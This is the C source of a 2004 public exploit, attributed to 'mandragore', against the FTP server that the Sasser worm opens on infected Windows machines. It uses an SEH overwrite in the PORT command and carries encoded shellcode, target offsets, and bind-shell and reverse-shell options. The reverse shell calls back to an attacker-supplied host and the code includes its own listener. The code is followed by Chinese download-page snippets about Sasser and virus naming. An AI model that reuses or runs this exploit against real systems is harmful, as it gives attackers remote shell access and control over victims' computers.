/*
_________ / ___// ____/ ____/
/ ___/ __ \\__ \/ __/ / /
/ / / /_/ /__/ / /___/ /___
/_/ \____/____/_____/\____/
- ROMANIAN SECURITY RESEARCH 2004 -
sasser v[a-e] exploit (of its ftpd server)
exploit version 1.4, public
author: mandragore
date: Mon May 10 16:13:31 2004
vuln type: SEH ptr overwriting
greets: rosecurity team
discovery: edcba
note: sasser.e has its ftpd on port 1023
update: offsets
*/
#include <stdio.h>
#include <strings.h>
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
#define NORM "\033[00;00m"
#define GREEN "\033[01;32m"
#define YELL "\033[01;33m"
#define RED "\033[01;31m"
#define BANNER GREEN "[%%] " YELL "mandragore's sploit v1.4 for " RED "sasser.x" NORM
#define fatal(x) { perror(x); exit(1); }
#define default_port 5554
struct { char *os; long goreg; long gpa; long lla;}
targets[] = {
// { "os", pop pop ret, GetProcAd ptr, LoadLib ptr },
{ "wXP SP1 many", 0x77BEEB23, 0x77be10CC, 0x77be10D0 }, // msvcrt.dll's
{ "wXP SP1 most others", 0x77C1C0BD, 0x77C110CC, 0x77c110D0 },
{ "w2k SP4 many", 0x7801D081, 0x780320cc, 0x780320d0 },
}, tsz;
unsigned char bsh[]={
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xDD,0x80,0x36,0xDE,0x46,0xE2,0xFA,
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE,0xFE,0x9E,
0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,
0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE,
0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21,0xC8,0x21,
0x0E,0x4D,0xB4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DE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE,
0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21,0xC8,0x21,
0x0E,0x4D,0xB6,0xA1,0xDE,0xDE,0xDF,0xB6,0xDC,0xDE,0xCA,0x6A,0x55,0x1A,0xB4,0xCE,
0x8E,0x8D,0x36,0xD6,0xDE,0xDE,0xDE,0xBD,0xB1,0xB0,0xB0,0xBB,0xBD,0xAA,0xDE,0x89,
0x21,0xC8,0x21,0x0E,0xB4,0xCE,0x87,0x55,0x22,0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,
0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,
0xBA,0xDE,0x8E,0x36,0xD1,0xDE,0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,
0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9,0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,
0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,
0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21,0xC8,0x21,0x0E
};
char verbose=0;
void setoff(long GPA, long LLA) {
int gpa=GPA^0xdededede, lla=LLA^0xdededede;
memcpy(bsh+0x1d,&gpa,4);
memcpy(bsh+0x2e,&lla,4);
memcpy(rsh+0x1d,&gpa,4);
memcpy(rsh+0x2e,&lla,4);
}
void usage(char *argv0) {
int i;
printf("%s -d <host/ip> [opts]\n\n",argv0);
printf("Options:\n");
printf(" -h undocumented\n");
printf(" -p <port> to connect to [default: %u]\n",default_port);
printf(" -s <'bind'/'rev'> shellcode type [default: bind]\n");
printf(" -P <port> for the shellcode [default: 5300]\n");
printf(" -H <host/ip> for the reverse shellcode\n");
printf(" -L setup the listener for the reverse shell\n");
printf(" -t <target type> [default 0]; choose below\n\n");
printf("Types:\n");
for(i = 0; i < sizeof(targets)/sizeof(tsz); i++)
printf(" %d %s\t[0x%.8x]\n", i, targets[i].os, targets[i].goreg);
exit(1);
}
void shell(int s) {
char buff[4096];
int retval;
fd_set fds;
printf("[+] connected!\n\n");
for (;;) {
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(s,&fds);
if (select(s+1, &fds, NULL, NULL, NULL) < 0)
fatal("[-] shell.select()");
if (FD_ISSET(0,&fds)) {
if ((retval = read(1,buff,4096)) < 1)
fatal("[-] shell.recv(stdin)");
send(s,buff,retval,0);
}
if (FD_ISSET(s,&fds)) {
if ((retval = recv(s,buff,4096,0)) < 1)
fatal("[-] shell.recv(socket)");
write(1,buff,retval);
}
}
}
void callback(short port) {
struct sockaddr_in sin;
int s,slen=16;
sin.sin_family = 2;
sin.sin_addr.s_addr = 0;
sin.sin_port = htons(port);
s=socket(2,1,6);
if ( bind(s,(struct sockaddr *)&sin, 16) ) {
kill(getppid(),SIGKILL);
fatal("[-] shell.bind");
}
listen(s,1);
s=accept(s,(struct sockaddr *)&sin,&slen);
shell(s);
printf("crap\n");
}
int main(int argc, char **argv, char **env) {
struct sockaddr_in sin;
struct hostent *he;
char *host; int port=default_port;
char *Host; int Port=5300; char bindopt=1;
int i,s,pid=0,rip;
char *buff;
int type=0;
char *jmp[]={"\xeb\x06","\xe9\x13\xfc\xff\xff"};
printf(BANNER "\n");
if (argc==1)
usage(argv[0]);
for (i=1;i<argc;i+=2) {
if (strlen(argv[i]) != 2)
usage(argv[0]);
switch(argv[i][1]) {
case 't':
type=atoi(argv[i+1]);
break;
case 'd':
host=argv[i+1];
break;
case 'p':
port=atoi(argv[i+1])?:default_port;
break;
case 's':
if (strstr(argv[i+1],"rev"))
bindopt=0;
break;
case 'H':
Host=argv[i+1];
break;
case 'P':
Port=atoi(argv[i+1])?:5300;
Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
memcpy(bsh+0x57,&Port,2);
memcpy(rsh+0x5a,&Port,2);
Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
break;
case 'L':
pid++; i--;
break;
case 'v':
verbose++; i--;
break;
case 'h':
usage(argv[0]);
default:
usage(argv[0]);
}
}
if (verbose)
printf("verbose!\n");
if ((he=gethostbyname(host))==NULL)
fatal("[-] gethostbyname()");
sin.sin_family = 2;
sin.sin_addr = *((struct in_addr *)he->h_addr_list[0]);
sin.sin_port = htons(port);
printf("[.] launching attack on %s:%d..\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),port);
if (bindopt)
printf("[.] will try to put a bindshell on port %d.\n",Port);
else {
if ((he=gethostbyname(Host))==NULL)
fatal("[-] gethostbyname() for -H");
rip=*((long *)he->h_addr_list[0]);
rip=rip^0xdededede;
memcpy(rsh+0x53,&rip,4);
if (pid) {
printf("[.] setting up a listener on port %d.\n",Port);
pid=fork();
switch (pid) { case 0: callback(Port); }
} else
printf("[.] you should have a listener on %s:%d.\n",inet_ntoa(*((struct in_addr
*)he->h_addr_list[0])),Port);
}
printf("[.] using type '%s'\n",targets[type].os);
// -------------------- core
s=socket(2,1,6);
if (connect(s,(struct sockaddr *)&sin,16)!=0) {
if (pid) kill(pid,SIGKILL);
fatal("[-] connect()");
}
printf("[+] connected, sending exploit\n");
buff=(char *)malloc(4096);
bzero(buff,4096);
sprintf(buff,"USER x\n");
send(s,buff,strlen(buff),0);
recv(s,buff,4095,0);
sprintf(buff,"PASS x\n");
send(s,buff,strlen(buff),0);
recv(s,buff,4095,0);
memset(buff+0000,0x90,2000);
strncpy(buff,"PORT ",5);
strcat(buff,"\x0a");
memcpy(buff+272,jmp[0],2);
memcpy(buff+276,&targets[type].goreg,4);
memcpy(buff+280,jmp[1],5);
setoff(targets[type].gpa, targets[type].lla);
if (bindopt)
memcpy(buff+300,&bsh,strlen(bsh));
else
memcpy(buff+300,&rsh,strlen(rsh));
send(s,buff,strlen(buff),0);
free(buff);
close(s);
// -------------------- end of core
if (bindopt) {
sin.sin_port = htons(Port);
sleep(1);
s=socket(2,1,6);
if (connect(s,(struct sockaddr *)&sin,16)!=0)
fatal("[-] exploit most likely failed");
shell(s);
}
if (pid) wait(&pid);
exit(0);
}
分享到:
相关推荐
震荡波溢出工具_Sasser Worm ftpd Exploit震荡波溢出工具_Sasser Worm ftpd Exploit震荡波溢出工具_Sasser Worm ftpd Exploit
3.2.2 示例二:Worm.Sasser 18 3.2.3 示例三:Worm.SQLexp.376 19 3.2.4 示例四:Worm_Bagle.BE 20 3.2.5 示例五:Worm.MyDoom 21 3.2.6 示例六:Code Red & Code Red II 23 3.2.7 示例七:Worm.Nimda 24 4. ...
常见的计算机病毒有:震荡波波(Worm.Sasser)、冲击波波(Worm.Blaster)等。 震荡波波(Worm.Sasser) 震荡波波是一种计算机病毒,于2004年“五一”黄金周第一个日开始肆虐互联网。该病毒利用Windows平台的Lsass...
5554端口:在今年4月30日就报道出现了一种针对微软lsass服务的新蠕虫病毒——震荡波(Worm.Sasser),该病毒可以利用TCP 5554端口开启一个FTP服务,主要被用于病毒的传播。 5632端口:5632端口是被大家所熟悉的远程...
例如,Worm.Sasser.b就是Sasser蠕虫的B变种。 以下是一些常见的病毒前缀及其特性: - **系统病毒**:前缀包括Win32、PE、Win95、W32、W95等,它们主要感染Windows操作系统的.exe和.dll文件。 - **蠕虫病毒**:...
- 后缀表示病毒的变种,通常用英文字母(A到Z)或数字混合表示,如Worm.Sasser.b表示振荡波蠕虫的B变种。变种标识反映了病毒的不同版本,可能具有不同的行为或特征。 了解这些前缀和后缀,可以初步判断病毒的类型...
这个核心名称可以是任何具有特定含义或无特定含义的词汇,如`CIH`、`Sasser`等。 在实际的命名过程中,完整的病毒名会结合这些元素形成如`Trojan/Troj.redlove.123K`、`Worm.Win32.Viking.i`、`Worm.Nimaya.12D`...
FxSasser 网络安全工具
一般都采用英文中的 26 个字母来表示,如 Worm.Sasser.b 就是指 振荡波蠕虫病毒的变种 B。 下面是一些常见的病毒前缀的解释: 1. 系统病毒:系统病毒的前缀为:Win32、PE、Win95、W32、W95 等。这些病毒的一般共有...
一般都采用英文中的 26 个字母来表示,如 Worm.Sasser.b 就是指 振荡波蠕虫病毒的变种 B。 通过了解病毒的命名规则,我们可以快速判断病毒的类型和特征。例如,系统病毒的前缀为:Win32、PE、Win95、W32、W95 等,...
内存缓冲区溢出攻击是许多高危病毒,如“Worm.Sasser”、“Worm.Blaster”、“Code Red”和“Melissa”等,常用的一种手段。这种攻击方式利用程序的漏洞,当输入数据超过预设缓冲区的容量时,多余的数据会溢出并覆盖...
后缀通常用来标识病毒的不同变种或版本,如Worm.Sasser.b中的“b”表明这是Sasser蠕虫的一个变种。这有助于追踪病毒的发展历程和特性变化。 ### 四、命名规则的重要性 了解计算机病毒的命名规则对于网络安全至关...
- **答案解析**:W32.Sasser.C.Worm病毒通过扫描具有漏洞的系统并利用Windows中的缓冲区溢出漏洞进行攻击,最终导致系统不断重启、程序非法操作等问题。该病毒主要针对`lsass.exe`进程,导致其缓冲溢出。 **2. 7号...
《计算机应用基础》大作业 选题: 从5月1日开始,一种被命名为"震荡波"(英文名Worm.Sasser)的病毒通过国际互 联网在全球范围内迅速传播,给相关单位和个人的业务造成了严重影响,并造成巨大经 济损失, 该病毒在...
这些漏洞通常被攻击者利用,通过构造恶意邮件附件或创建恶意网站来诱骗用户,或者直接利用系统漏洞发起攻击,如Worm.sasser利用lsass.exe缓冲区溢出漏洞进行传播。 面对这些威胁,及时打补丁是最基本的防范措施。...
例如,`Worm.Sasser.b`表示Sasser蠕虫的第二个变种。 #### 实例分析 - **Trojan.Win32.SendIP.15**:这是一个木马程序,主要针对Windows 32位操作系统,其功能可能是发送用户的IP地址到远程服务器。15表示这是该...
iTerm 的恐慌调色板 来自 Panic 自己的终端颜色主题的墨水! 下载文件,双击安装。 Sublime Text 的恐慌调色板 受到由编写的的 Panic Palette 的启发。 要安装,请复制到/Users/YourUser/Library/Application ...
它通常位于病毒名称的末尾,如“Worm.Sasser.b”。版本号的增加意味着病毒可能已经经过了修改,增加了新的功能或修复了某些漏洞,以便逃避检测或提高其传播能力。 ### 其他重要知识点 除了基本的命名规则外,还有...
本文阐述一种多级分布式安全管理系统(MD-SMS Multilevel and Distributed Security Management System),首先描述其体系结构,然后讨论三个关键问题的解决:设备建模、通信机制和协同处理,最后以Worm_Sasser蠕虫...
4. **Sasser**:与Blaster类似,Sasser蠕虫也是利用系统漏洞进行传播,尤其是未打补丁的XP系统。它会在网络上寻找易感主机并自我复制,影响系统性能。 5. **Conficker**:Conficker病毒通过U盘、网络共享和系统漏洞...